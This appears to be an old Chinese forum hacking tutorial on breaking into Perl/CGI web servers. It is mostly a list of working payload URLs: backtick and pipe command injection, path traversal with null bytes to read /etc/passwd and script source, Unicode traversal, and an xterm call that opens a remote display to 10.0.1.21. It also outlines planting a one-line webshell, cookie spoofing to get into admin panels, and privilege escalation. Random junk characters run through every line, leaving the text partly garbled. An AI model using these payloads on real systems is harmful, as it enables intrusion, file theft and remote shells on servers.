总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
! h2 n2 Q& a: S2 K# Scookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 ! G( e# z+ S1 @# B7 Y; Q6 l7 H
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
6 C8 P% r# G5 U1 u注“
; o4 Q) o# J v3 w% O$ uperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
5 G3 S3 a4 ]; Y& a2 |) h以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET c' [' }3 l! Q' L9 r( R) G8 i; y
L; K' q9 J9 E `( i
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 3 a M7 N1 c, [3 z% ^
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
, \% v" j& R% W: M1 Yhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 0 Z, R; Z# l+ ?% S! l, R
http://target.com/cgi-bin/home/news/sub.pl?`id` ! f8 a- w1 J9 V! f8 I
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` 9 q4 X. l: Q N$ P% f1 O3 U: |- Y7 I
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
- R* V3 t3 C2 k* z- g1 y( X1 z5 ]0 M9 z9 b1 V$ @
http://target.com/test.pl;ls|
( s1 c8 {0 G* ]: P9 i7 k. A* Xhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| % ^) n7 y" }9 c0 V
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| " [& T+ C* _% c. z# y
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 3 K0 h; K( d, H: F+ Q
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 - {% l* x4 m! \8 H. A# E$ ^
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
5 Y" \' n" C; X& [+ L7 K/ e+ j) t" L3 a' z
http://target.com/test.pl?&........ /../../etc/passwd
' y0 F, J k9 A0 q, C" G
% ?$ B9 M6 Z9 N# Whttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
! @9 R5 |9 W! t& \! F4 V' khttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
$ y* F2 K h2 p* U# ghttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 & d7 f7 N" Z; F* q( e G; b5 C. L2 w' ~
+ T% `# A" u1 Y! P: G1 R: e$ \
http://www.target.org/show.php?f ... /include/config.php 查看php代码 & s$ a9 U' j4 S$ A( m: @% H
http://www.target.org/show.php?f ... ng/admin/global.php . L- _5 x# C P9 G; D0 G7 |0 B
9 ]( R1 r5 X# ?% S# ~( c* ]+ T
emm和ps的一句话# `. z3 P7 Y1 w- u# n
! V1 A# q2 C2 o/ _8 Thttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
4 c9 y% V. ^% e, o/ B Z7 l4 k( ~5 ^. G
* a( a: C; R" W# m1 l+ {>bbb%20|
% @2 A; _+ h- h2 Z
2 z7 z g5 Q' u* phttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 ( C- H, s# n) d2 ~- {
; W& y9 y9 \0 D( _4 {. M0 S
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 5 q2 J j F, Q7 H
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin ) B. b- L8 h I
; ~# ~! o7 R- L! ]. |2 e
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 ' p8 h- |8 j \8 G9 Y" k
http://target.com/index.html#cmd.exe
9 ^- z, O) S7 s/ A0 H: u' d" Lhttp://target.com/index.html?dummyparam=xp_cmdshell w5 R# E5 c6 q4 m# ~$ K; X6 L
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 7 h U" d+ t( k" R; V# v
|